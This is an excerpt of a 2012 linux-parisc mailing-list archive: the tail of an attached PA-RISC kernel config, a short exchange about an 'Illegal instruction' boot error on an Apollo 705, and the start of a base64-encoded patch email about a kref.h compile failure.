# CONFIG_VIDEO_OUTPUT_CONTROL is not set
CONFIG_FB=y
# CONFIG_FIRMWARE_EDID is not set
# CONFIG_FB_DDC is not set
# CONFIG_FB_BOOT_VESA_SUPPORT is not set
CONFIG_FB_CFB_FILLRECT=y
CONFIG_FB_CFB_COPYAREA=y
CONFIG_FB_CFB_IMAGEBLIT=y
# CONFIG_FB_CFB_REV_PIXELS_IN_BYTE is not set
# CONFIG_FB_SYS_FILLRECT is not set
# CONFIG_FB_SYS_COPYAREA is not set
# CONFIG_FB_SYS_IMAGEBLIT is not set
# CONFIG_FB_FOREIGN_ENDIAN is not set
# CONFIG_FB_SYS_FOPS is not set
# CONFIG_FB_WMT_GE_ROPS is not set
# CONFIG_FB_SVGALIB is not set
# CONFIG_FB_MACMODES is not set
# CONFIG_FB_BACKLIGHT is not set
CONFIG_FB_MODE_HELPERS=y
CONFIG_FB_TILEBLITTING=y

#
# Frame buffer hardware drivers
#
CONFIG_FB_STI=y
# CONFIG_FB_S1D13XXX is not set
# CONFIG_FB_VIRTUAL is not set
# CONFIG_FB_METRONOME is not set
# CONFIG_FB_BROADSHEET is not set
# CONFIG_BACKLIGHT_LCD_SUPPORT is not set

#
# Display device support
#
# CONFIG_DISPLAY_SUPPORT is not set

#
# Console display driver support
#
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE_COLUMNS=128
CONFIG_DUMMY_CONSOLE_ROWS=48
CONFIG_FRAMEBUFFER_CONSOLE=y
# CONFIG_FRAMEBUFFER_CONSOLE_DETECT_PRIMARY is not set
# CONFIG_FRAMEBUFFER_CONSOLE_ROTATION is not set
CONFIG_STI_CONSOLE=y
CONFIG_FONTS=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
# CONFIG_FONT_6x11 is not set
# CONFIG_FONT_7x14 is not set
# CONFIG_FONT_PEARL_8x8 is not set
# CONFIG_FONT_ACORN_8x8 is not set
# CONFIG_FONT_MINI_4x6 is not set
# CONFIG_FONT_SUN8x16 is not set
# CONFIG_FONT_SUN12x22 is not set
# CONFIG_FONT_10x18 is not set
CONFIG_LOGO=y
# CONFIG_LOGO_LINUX_MONO is not set
# CONFIG_LOGO_LINUX_VGA16 is not set
# CONFIG_LOGO_LINUX_CLUT224 is not set
CONFIG_LOGO_PARISC_CLUT224=y
CONFIG_SOUND=y
CONFIG_SOUND_OSS_CORE=y
# CONFIG_SOUND_OSS_CORE_PRECLAIM is not set
CONFIG_SND=y
CONFIG_SND_TIMER=y
CONFIG_SND_PCM=y
CONFIG_SND_SEQUENCER=y
# CONFIG_SND_SEQ_DUMMY is not set
CONFIG_SND_OSSEMUL=y
CONFIG_SND_MIXER_OSS=y
CONFIG_SND_PCM_OSS=y
# CONFIG_SND_PCM_OSS_PLUGINS is not set
CONFIG_SND_SEQUENCER_OSS=y
CONFIG_SND_DYNAMIC_MINORS=y
# CONFIG_SND_SUPPORT_OLD_API is not set
# CONFIG_SND_VERBOSE_PROCFS is not set
# CONFIG_SND_VERBOSE_PRINTK is not set
# CONFIG_SND_DEBUG is not set
# CONFIG_SND_RAWMIDI_SEQ is not set
# CONFIG_SND_OPL3_LIB_SEQ is not set
# CONFIG_SND_OPL4_LIB_SEQ is not set
# CONFIG_SND_SBAWE_SEQ is not set
# CONFIG_SND_EMU10K1_SEQ is not set
# CONFIG_SND_DRIVERS is not set
CONFIG_SND_GSC=y
CONFIG_SND_HARMONY=y
# CONFIG_SND_SOC is not set
# CONFIG_SOUND_PRIME is not set
CONFIG_HID_SUPPORT=y
CONFIG_HID=y
CONFIG_HIDRAW=y
# CONFIG_HID_PID is not set

#
# Special HID drivers
#
# CONFIG_USB_SUPPORT is not set
# CONFIG_MMC is not set
# CONFIG_MEMSTICK is not set
# CONFIG_NEW_LEDS is not set
# CONFIG_ACCESSIBILITY is not set
CONFIG_RTC_LIB=y
CONFIG_RTC_CLASS=y
CONFIG_RTC_HCTOSYS=y
CONFIG_RTC_HCTOSYS_DEVICE="rtc0"
# CONFIG_RTC_DEBUG is not set

#
# RTC interfaces
#
CONFIG_RTC_INTF_SYSFS=y
CONFIG_RTC_INTF_PROC=y
CONFIG_RTC_INTF_DEV=y
# CONFIG_RTC_INTF_DEV_UIE_EMUL is not set
# CONFIG_RTC_DRV_TEST is not set

#
# SPI RTC drivers
#

#
# Platform RTC drivers
#
# CONFIG_RTC_DRV_DS1286 is not set
# CONFIG_RTC_DRV_DS1511 is not set
# CONFIG_RTC_DRV_DS1553 is not set
# CONFIG_RTC_DRV_DS1742 is not set
# CONFIG_RTC_DRV_STK17TA8 is not set
# CONFIG_RTC_DRV_M48T86 is not set
# CONFIG_RTC_DRV_M48T35 is not set
# CONFIG_RTC_DRV_M48T59 is not set
# CONFIG_RTC_DRV_MSM6242 is not set
# CONFIG_RTC_DRV_BQ4802 is not set
# CONFIG_RTC_DRV_RP5C01 is not set
# CONFIG_RTC_DRV_V3020 is not set

#
# on-CPU RTC drivers
#
CONFIG_RTC_DRV_GENERIC=y
# CONFIG_DMADEVICES is not set
# CONFIG_AUXDISPLAY is not set
# CONFIG_UIO is not set

#
# Virtio drivers
#
# CONFIG_VIRTIO_BALLOON is not set
# CONFIG_VIRTIO_MMIO is not set
# CONFIG_STAGING is not set

#
# Hardware Spinlock drivers
#
# CONFIG_IOMMU_SUPPORT is not set
# CONFIG_VIRT_DRIVERS is not set
# CONFIG_PM_DEVFREQ is not set

#
# File systems
#
CONFIG_EXT2_FS=y
# CONFIG_EXT2_FS_XATTR is not set
# CONFIG_EXT2_FS_XIP is not set
CONFIG_EXT3_FS=y
# CONFIG_EXT3_DEFAULTS_TO_ORDERED is not set
# CONFIG_EXT3_FS_XATTR is not set
# CONFIG_EXT4_FS is not set
CONFIG_JBD=y
# CONFIG_REISERFS_FS is not set
# CONFIG_JFS_FS is not set
# CONFIG_XFS_FS is not set
# CONFIG_BTRFS_FS is not set
# CONFIG_NILFS2_FS is not set
# CONFIG_FS_POSIX_ACL is not set
CONFIG_EXPORTFS=y
CONFIG_FILE_LOCKING=y
CONFIG_FSNOTIFY=y
CONFIG_DNOTIFY=y
CONFIG_INOTIFY_USER=y
CONFIG_FANOTIFY=y
# CONFIG_QUOTA is not set
# CONFIG_QUOTACTL is not set
# CONFIG_AUTOFS4_FS is not set
# CONFIG_FUSE_FS is not set

#
# Caches
#
# CONFIG_FSCACHE is not set

#
# CD-ROM/DVD Filesystems
#
# CONFIG_ISO9660_FS is not set
# CONFIG_UDF_FS is not set

#
# DOS/FAT/NT Filesystems
#
# CONFIG_MSDOS_FS is not set
# CONFIG_VFAT_FS is not set
# CONFIG_NTFS_FS is not set

#
# Pseudo filesystems
#
CONFIG_PROC_FS=y
CONFIG_PROC_KCORE=y
CONFIG_PROC_SYSCTL=y
CONFIG_PROC_PAGE_MONITOR=y
CONFIG_SYSFS=y
CONFIG_TMPFS=y
# CONFIG_TMPFS_POSIX_ACL is not set
# CONFIG_TMPFS_XATTR is not set
# CONFIG_HUGETLB_PAGE is not set
# CONFIG_CONFIGFS_FS is not set
# CONFIG_MISC_FILESYSTEMS is not set
CONFIG_NETWORK_FILESYSTEMS=y
# CONFIG_NFS_FS is not set
# CONFIG_NFSD is not set
# CONFIG_CEPH_FS is not set
# CONFIG_CIFS is not set
# CONFIG_NCP_FS is not set
# CONFIG_CODA_FS is not set
# CONFIG_AFS_FS is not set

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_NLS=y
CONFIG_NLS_DEFAULT="iso8859-1"
# CONFIG_NLS_CODEPAGE_437 is not set
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
# CONFIG_NLS_CODEPAGE_850 is not set
# CONFIG_NLS_CODEPAGE_852 is not set
# CONFIG_NLS_CODEPAGE_855 is not set
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
# CONFIG_NLS_CODEPAGE_866 is not set
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
# CONFIG_NLS_CODEPAGE_1251 is not set
# CONFIG_NLS_ASCII is not set
# CONFIG_NLS_ISO8859_1 is not set
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
# CONFIG_NLS_ISO8859_5 is not set
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
# CONFIG_NLS_ISO8859_15 is not set
# CONFIG_NLS_KOI8_R is not set
# CONFIG_NLS_KOI8_U is not set
# CONFIG_NLS_UTF8 is not set

#
# Kernel hacking
#
# CONFIG_PRINTK_TIME is not set
CONFIG_DEFAULT_MESSAGE_LOGLEVEL=4
CONFIG_ENABLE_WARN_DEPRECATED=y
CONFIG_ENABLE_MUST_CHECK=y
CONFIG_FRAME_WARN=1024
CONFIG_MAGIC_SYSRQ=y
CONFIG_STRIP_ASM_SYMS=y
# CONFIG_UNUSED_SYMBOLS is not set
# CONFIG_DEBUG_FS is not set
# CONFIG_HEADERS_CHECK is not set
# CONFIG_DEBUG_SECTION_MISMATCH is not set
CONFIG_DEBUG_KERNEL=y
# CONFIG_DEBUG_SHIRQ is not set
# CONFIG_LOCKUP_DETECTOR is not set
# CONFIG_HARDLOCKUP_DETECTOR is not set
# CONFIG_DETECT_HUNG_TASK is not set
# CONFIG_SCHED_DEBUG is not set
# CONFIG_SCHEDSTATS is not set
# CONFIG_TIMER_STATS is not set
# CONFIG_DEBUG_OBJECTS is not set
# CONFIG_SLUB_DEBUG_ON is not set
# CONFIG_SLUB_STATS is not set
# CONFIG_DEBUG_RT_MUTEXES is not set
# CONFIG_RT_MUTEX_TESTER is not set
# CONFIG_DEBUG_SPINLOCK is not set
# CONFIG_DEBUG_MUTEXES is not set
# CONFIG_SPARSE_RCU_POINTER is not set
# CONFIG_DEBUG_ATOMIC_SLEEP is not set
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_DEBUG_STACK_USAGE is not set
# CONFIG_DEBUG_KOBJECT is not set
CONFIG_DEBUG_BUGVERBOSE=y
# CONFIG_DEBUG_INFO is not set
# CONFIG_DEBUG_VM is not set
# CONFIG_DEBUG_WRITECOUNT is not set
CONFIG_DEBUG_MEMORY_INIT=y
# CONFIG_DEBUG_LIST is not set
# CONFIG_TEST_LIST_SORT is not set
# CONFIG_DEBUG_SG is not set
# CONFIG_DEBUG_NOTIFIERS is not set
# CONFIG_DEBUG_CREDENTIALS is not set
# CONFIG_BOOT_PRINTK_DELAY is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_DEBUG_BLOCK_EXT_DEVT is not set
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
# CONFIG_FAULT_INJECTION is not set
# CONFIG_LATENCYTOP is not set
# CONFIG_SYSCTL_SYSCALL_CHECK is not set
# CONFIG_DEBUG_PAGEALLOC is not set
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_SAMPLES is not set
# CONFIG_TEST_KSTRTOX is not set
# CONFIG_DEBUG_RODATA is not set
# CONFIG_DEBUG_STRICT_USER_COPY_CHECKS is not set

#
# Security options
#
CONFIG_KEYS=y
# CONFIG_ENCRYPTED_KEYS is not set
CONFIG_KEYS_DEBUG_PROC_KEYS=y
# CONFIG_SECURITY_DMESG_RESTRICT is not set
# CONFIG_SECURITY is not set
# CONFIG_SECURITYFS is not set
CONFIG_DEFAULT_SECURITY_DAC=y
CONFIG_DEFAULT_SECURITY=""
CONFIG_CRYPTO=y

#
# Crypto core or helper
#
CONFIG_CRYPTO_ALGAPI=y
CONFIG_CRYPTO_ALGAPI2=y
CONFIG_CRYPTO_AEAD2=y
CONFIG_CRYPTO_BLKCIPHER=y
CONFIG_CRYPTO_BLKCIPHER2=y
CONFIG_CRYPTO_HASH=y
CONFIG_CRYPTO_HASH2=y
CONFIG_CRYPTO_RNG2=y
CONFIG_CRYPTO_PCOMP2=y
CONFIG_CRYPTO_MANAGER=y
CONFIG_CRYPTO_MANAGER2=y
# CONFIG_CRYPTO_USER is not set
CONFIG_CRYPTO_MANAGER_DISABLE_TESTS=y
# CONFIG_CRYPTO_GF128MUL is not set
# CONFIG_CRYPTO_NULL is not set
CONFIG_CRYPTO_WORKQUEUE=y
# CONFIG_CRYPTO_CRYPTD is not set
# CONFIG_CRYPTO_AUTHENC is not set
# CONFIG_CRYPTO_TEST is not set

#
# Authenticated Encryption with Associated Data
#
# CONFIG_CRYPTO_CCM is not set
# CONFIG_CRYPTO_GCM is not set
# CONFIG_CRYPTO_SEQIV is not set

#
# Block modes
#
CONFIG_CRYPTO_CBC=y
# CONFIG_CRYPTO_CTR is not set
# CONFIG_CRYPTO_CTS is not set
# CONFIG_CRYPTO_ECB is not set
# CONFIG_CRYPTO_LRW is not set
# CONFIG_CRYPTO_PCBC is not set
# CONFIG_CRYPTO_XTS is not set

#
# Hash modes
#
CONFIG_CRYPTO_HMAC=y
# CONFIG_CRYPTO_XCBC is not set
# CONFIG_CRYPTO_VMAC is not set

#
# Digest
#
# CONFIG_CRYPTO_CRC32C is not set
# CONFIG_CRYPTO_GHASH is not set
# CONFIG_CRYPTO_MD4 is not set
CONFIG_CRYPTO_MD5=y
# CONFIG_CRYPTO_MICHAEL_MIC is not set
# CONFIG_CRYPTO_RMD128 is not set
# CONFIG_CRYPTO_RMD160 is not set
# CONFIG_CRYPTO_RMD256 is not set
# CONFIG_CRYPTO_RMD320 is not set
# CONFIG_CRYPTO_SHA1 is not set
# CONFIG_CRYPTO_SHA256 is not set
# CONFIG_CRYPTO_SHA512 is not set
# CONFIG_CRYPTO_TGR192 is not set
# CONFIG_CRYPTO_WP512 is not set

#
# Ciphers
#
# CONFIG_CRYPTO_AES is not set
# CONFIG_CRYPTO_ANUBIS is not set
# CONFIG_CRYPTO_ARC4 is not set
# CONFIG_CRYPTO_BLOWFISH is not set
# CONFIG_CRYPTO_CAMELLIA is not set
# CONFIG_CRYPTO_CAST5 is not set
# CONFIG_CRYPTO_CAST6 is not set
CONFIG_CRYPTO_DES=y
# CONFIG_CRYPTO_FCRYPT is not set
# CONFIG_CRYPTO_KHAZAD is not set
# CONFIG_CRYPTO_SALSA20 is not set
# CONFIG_CRYPTO_SEED is not set
# CONFIG_CRYPTO_SERPENT is not set
# CONFIG_CRYPTO_TEA is not set
# CONFIG_CRYPTO_TWOFISH is not set

#
# Compression
#
# CONFIG_CRYPTO_DEFLATE is not set
# CONFIG_CRYPTO_ZLIB is not set
# CONFIG_CRYPTO_LZO is not set

#
# Random Number Generation
#
# CONFIG_CRYPTO_ANSI_CPRNG is not set
# CONFIG_CRYPTO_USER_API_HASH is not set
# CONFIG_CRYPTO_USER_API_SKCIPHER is not set
CONFIG_CRYPTO_HW=y
# CONFIG_BINARY_PRINTF is not set

#
# Library routines
#
CONFIG_BITREVERSE=y
# CONFIG_CRC_CCITT is not set
# CONFIG_CRC16 is not set
# CONFIG_CRC_T10DIF is not set
# CONFIG_CRC_ITU_T is not set
CONFIG_CRC32=y
# CONFIG_CRC7 is not set
# CONFIG_LIBCRC32C is not set
# CONFIG_CRC8 is not set
CONFIG_ZLIB_INFLATE=y
CONFIG_LZO_DECOMPRESS=y
CONFIG_XZ_DEC=y
CONFIG_XZ_DEC_X86=y
CONFIG_XZ_DEC_POWERPC=y
CONFIG_XZ_DEC_IA64=y
CONFIG_XZ_DEC_ARM=y
CONFIG_XZ_DEC_ARMTHUMB=y
CONFIG_XZ_DEC_SPARC=y
CONFIG_XZ_DEC_BCJ=y
# CONFIG_XZ_DEC_TEST is not set
CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_DECOMPRESS_XZ=y
CONFIG_DECOMPRESS_LZO=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_DMA=y
CONFIG_NLATTR=y
CONFIG_GENERIC_ATOMIC64=y
# CONFIG_AVERAGE is not set
# CONFIG_CORDIC is not set

--nextPart4974704.aTbWWglFck--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot error using 3.2.1: swapper (pid 1): Illegal instruction
 (code 8)
Date: Tue, 17 Jan 2012 14:54:24 +0400
Lines: 16
Approved: news@gmane.org
Message-ID: <1326797664.3020.30.camel@dabdike>
References: <5333929.7Zifozzp4e@devpool02>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1326797676 769 80.91.229.12 (17 Jan 2012 10:54:36 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 17 Jan 2012 10:54:36 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 17 11:54:29 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rn6gP-00074w-9V
	for glpp-linux-parisc@lo.gmane.org; Tue, 17 Jan 2012 11:54:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753278Ab2AQKy2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Jan 2012 05:54:28 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:45544 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752960Ab2AQKy2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Jan 2012 05:54:28 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C48FE8EE0D8;
	Tue, 17 Jan 2012 02:54:27 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id JnrDWd1z9n2m; Tue, 17 Jan 2012 02:54:27 -0800 (PST)
Original-Received: from [192.168.10.225] (unknown [192.168.10.225])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id A0C378EE092;
	Tue, 17 Jan 2012 02:54:26 -0800 (PST)
In-Reply-To: <5333929.7Zifozzp4e@devpool02>
X-Mailer: Evolution 3.2.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4104
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4104>

On Tue, 2012-01-17 at 11:41 +0100, Rolf Eike Beer wrote:
> Machine is an Apollo 705, previous kernel version was 2.6.28. Any hints 
> appreciated. Config attached.

Best guess is that your init binary is incompatible with the hardware
architecture.  It has to be compiled for PA7000 to work on an Apollo
system.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Rolf Eike Beer" <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Boot error using 3.2.1: swapper (pid 1): Illegal instruction
 (code 8)
Date: Tue, 17 Jan 2012 11:55:57 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <5b79ed5857aa29388a3eb41663d5700e.squirrel@webmail.sf-mail.de>
References: <5333929.7Zifozzp4e@devpool02>
    <1326797664.3020.30.camel@dabdike>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: dough.gmane.org 1326797766 1556 80.91.229.12 (17 Jan 2012 10:56:06 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 17 Jan 2012 10:56:06 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 17 11:56:01 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Rn6ht-0007IT-F4
	for glpp-linux-parisc@lo.gmane.org; Tue, 17 Jan 2012 11:56:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753288Ab2AQK4B (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Jan 2012 05:56:01 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:50022 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752960Ab2AQK4A (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Jan 2012 05:56:00 -0500
Original-Received: (qmail 15744 invoked from network); 17 Jan 2012 10:55:59 -0000
Original-Received: from a124.reverse.yawsp.de ([::ffff:62.27.20.124] HELO mail.sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.21svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPS
	for <linux-parisc@vger.kernel.org>; Tue, 17 Jan 2012 10:55:59 +0000
Original-Received: (qmail 15738 invoked by uid 81); 17 Jan 2012 10:55:57 -0000
Original-Received: from 80.150.94.234
        (SquirrelMail authenticated user eike@sf-mail.de)
        by webmail.sf-mail.de with HTTP;
        Tue, 17 Jan 2012 11:55:57 +0100
In-Reply-To: <1326797664.3020.30.camel@dabdike>
User-Agent: SquirrelMail/1.4.22
X-Priority: 3 (Normal)
Importance: Normal
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4105
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4105>

> On Tue, 2012-01-17 at 11:41 +0100, Rolf Eike Beer wrote:
>> Machine is an Apollo 705, previous kernel version was 2.6.28. Any hints
>> appreciated. Config attached.
>
> Best guess is that your init binary is incompatible with the hardware
> architecture.  It has to be compiled for PA7000 to work on an Apollo
> system.

Using the same init with kernel 2.6.28 works fine.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <jbottomley@parallels.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Fix compile breakage with kref.h
Date: Tue, 17 Jan 2012 21:14:05 +0000
Lines: 26
Approved: news@gmane.org
Message-ID: <1326834845.3020.36.camel@dabdike>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
X-Trace: dough.gmane.org 1326834856 29731 80.91.229.12 (17 Jan 2012 21:14:16 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Tue, 17 Jan 2012 21:14:16 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>,
	linux-kernel <linux-kernel@vger.kernel.org>
To: Linus Torvalds <torvalds@linux-foundation.org>,
	Andrew Morton <akpm@linux-foundation.org>,
	Greg Kroah-Hartman <greg@kroah.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 17 22:14:12 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1RnGM7-00005x-6O
	for glpp-linux-parisc@lo.gmane.org; Tue, 17 Jan 2012 22:14:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755820Ab2AQVOK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Jan 2012 16:14:10 -0500
Original-Received: from mx2.parallels.com ([64.131.90.16]:44376 "EHLO mx2.parallels.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755631Ab2AQVOK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Jan 2012 16:14:10 -0500
Original-Received: from [96.31.168.206] (helo=mail.parallels.com)
	by mx2.parallels.com with esmtps (TLSv1:AES128-SHA:128)
	(Exim 4.74)
	(envelope-from <jbottomley@parallels.com>)
	id 1RnGM3-00048x-Pt; Tue, 17 Jan 2012 16:14:07 -0500
Original-Received: from US-EXCH1.sw.swsoft.com ([fe80::f4cb:ddbf:40fa:d379]) by
 US-EXCH1.sw.swsoft.com ([fe80::f4cb:ddbf:40fa:d379%10]) with mapi id
 14.01.0218.012; Tue, 17 Jan 2012 13:14:06 -0800
Thread-Topic: Fix compile breakage with kref.h
Thread-Index: AQHM1VzxLNCfI82BwEKdqe1+VaxU0w==
Accept-Language: en-GB, en-US
Content-Language: en-US
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
x-originating-ip: [194.186.187.194]
Content-ID: <9E0DB16776AF8B479083D49B9B5E685D@sw.swsoft.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4106 gmane.linux.kernel:1240467
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4106>

VGhpcyBzZXQgb2YgYnVpbGQgZmFpbHVyZXMganVzdCBzdGFydGVkIGFwcGVhcmluZyBvbiBwYXJp
c2M6DQoNCkluIGZpbGUgaW5jbHVkZWQgZnJvbSBkcml2ZXJzL2lucHV0L3NlcmlvL3NlcmlvX3Jh
dy5jOjEyOg0KaW5jbHVkZS9saW51eC9rcmVmLmg6IEluIGZ1bmN0aW9uICdrcmVmX2dldCc6DQpp
bmNsdWRlL2xpbnV4L2tyZWYuaDo0MDogZXJyb3I6ICdUQUlOVF9XQVJOJyB1bmRlY2xhcmVkIChm
aXJzdCB1c2UgaW4gdGhpcyBmdW5jdGlvbikNCmluY2x1ZGUvbGludXgva3JlZi5oOjQwOiBlcnJv
cjogKEVhY2ggdW5kZWNsYXJlZCBpZGVudGlmaWVyIGlzIHJlcG9ydGVkIG9ubHkgb25jZQ0KaW5j
bHVkZS9saW51eC9rcmVmLmg6NDA6IGVycm9yOiBmb3IgZWFjaCBmdW5jdGlvbiBpdCBhcHBlYXJz
IGluLikNCmluY2x1ZGUvbGludXgva3JlZi5oOiBJbiBmdW5jdGlvbiAna3JlZl9zdWInOg0KaW5j
bHVkZS9saW51eC9rcmVmLmg6NjU6IGVycm9yOiAnVEFJTlRfV0FSTicgdW5kZWNsYXJlZCAoZmly
c3QgdXNlIGluIHRoaXMgZnVuY3Rpb24pDQoNCkl0IGhhcHBlbnMgYmVjYXVzZSBUQUlOVF9XQVJO
IGlzIGRlZmluZWQgaW4ga2VybmVsLmggYW5kIHRoaXMgcGFydGljdWxhcg0KY29tcGlsZSBkb2Vz
bid0IHNlZW0gdG8gaW5jbHVkZSBpdCAobm8gaWRlYSB3aHkgaXQncyBqdXN0DQptYW5pZmVzdGlu
ZyAuLi4gcHJvYmFibHkgc29tZSAjaW5jbHVkZSBmaWxlIHVudGFuZ2xpbmcgZXhwb3NlZCBpdCku
ICBGaXgNCmJ5IGFkZGluZyAjaW5jbHVkZSA8bGludXgva2VybmVsLmg+IHRvIGxpbnV4L2tyZWYu
aA0KDQpTaWduZWQtb2ZmLWJ5OiBKYW1lcyBCb3R0b21sZXkgPEpCb3R0b21sZXlAUGFyYWxsZWxz
